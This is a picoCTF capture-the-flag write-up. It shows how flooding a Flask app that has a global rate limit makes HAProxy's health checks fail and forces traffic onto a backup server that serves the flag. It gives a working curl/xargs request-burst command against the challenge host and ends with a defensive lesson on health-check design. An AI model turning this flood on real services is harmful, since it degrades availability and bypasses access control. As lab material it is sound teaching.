Failure Failure
picoCTF Failure Failure writeup exploiting HAProxy failover behavior by exhausting rate limits to trigger backend routing to the flag server.
Contents
Failure Failure
Challenge
Category: General Skills
Name: Failure Failure
Prompt:
Welcome to Failure Failure — a high-available system. This challenge simulates a real-world failover scenario where one server is prioritized over the other. A load balancer stands between you and the truth — and it won’t hand over the flag until you force its hand. You can begin your journey here to try and retrieve the flag.
For reference: The HAProxy configuration used in this challenge is available here. The application code is available here
Goal
Force the load balancer off the primary server and onto the backup server, because the backup server is the one that contains the flag.
Step 1: Read the application code
The provided Flask app:
from flask import Flask, render_template
from dotenv import load_dotenv
from flask_limiter import Limiter
import os
load_dotenv()
app = Flask(__name__)
def global_rate_limit_key():
return "global"
limiter = Limiter(
key_func=global_rate_limit_key,
app=app,
default_limits=["300 per minute"]
)
@app.errorhandler(429)
def ratelimit_exceeded(e):
return "Service Unavailable: Rate limit exceeded", 503
@app.route('/')
@limiter.limit("300 per minute")
def home():
if os.getenv("IS_BACKUP") == "yes":
flag = os.getenv("FLAG")
else:
flag = "No flag in this service"
return render_template("index.html", flag=flag)
Important details:
- The rate limit is global
- The key function always returns
"global" - So every request counts against the same bucket
- When the limit is exceeded, the app returns
503 - The flag is shown only when
IS_BACKUP=yes
That means:
- the primary server likely returns
"No flag in this service" - the backup server likely returns the real flag
Step 2: Read the HAProxy configuration
Provided config:
frontend http-in
bind *:80
default_backend servers
backend servers
option httpchk GET /
http-check expect status 200
server s1 *:8000 check inter 2s fall 2 rise 3
server s2 *:9000 check backup inter 2s fall 2 rise 3
Important details:
s1is the normal primary backends2is markedbackup- HAProxy health-checks
/ - HAProxy expects HTTP status
200 - If a backend starts returning non-
200, it can be marked down
This is the full intended path:
- flood the primary
- trigger its global limit
- it starts returning
503 - HAProxy health checks fail
- HAProxy marks
s1down - traffic fails over to backup
s2 s2returns the flag
Step 3: Confirm normal behavior
Request the page normally:
curl -i -s http://mysterious-sea.picoctf.net:53064/
Observed response body:
<p>No flag in this service</p>
So the live traffic was initially going to the primary.
Step 4: Trigger failover by exhausting the primary
The rate limit is 300 per minute, so send more than that quickly.
A fast concurrent burst worked:
seq 1 360 | xargs -n1 -P60 -I{} curl -s -o /dev/null http://mysterious-sea.picoctf.net:53064/
sleep 5
curl -s http://mysterious-sea.picoctf.net:53064/
What this does:
seq 1 360generates 360 requestsxargs -P60runs many requests in parallelcurl -s -o /dev/nullsends the traffic without printing page bodiessleep 5gives HAProxy a moment to register health-check failures- the final
curlfetches the page after failover
Step 5: Read the flag from the backup server
After the burst, the final request returned:
<p>picoCTF{<redacted>}</p>
Flag
picoCTF{<redacted>}
Why this works
This is an availability-design bug:
- the app uses a global rate limit
- HAProxy health-checks the exact same route
- health checks require status
200 - the limit exhaustion makes the primary look unhealthy
So normal user traffic can influence load balancer health state.
The mistake is that:
- the primary and backup expose different data
- and the balancer’s failover condition is externally triggerable
That lets an attacker force routing to the backup.
Minimal solve path
curl -s http://mysterious-sea.picoctf.net:53064/
seq 1 360 | xargs -n1 -P60 -I{} curl -s -o /dev/null http://mysterious-sea.picoctf.net:53064/
sleep 5
curl -s http://mysterious-sea.picoctf.net:53064/
Takeaway
Health-check endpoints should not share fragile state with user traffic, especially not global rate limits. If production routing decisions depend on a route that attackers can intentionally degrade, failover can become an access-control bypass.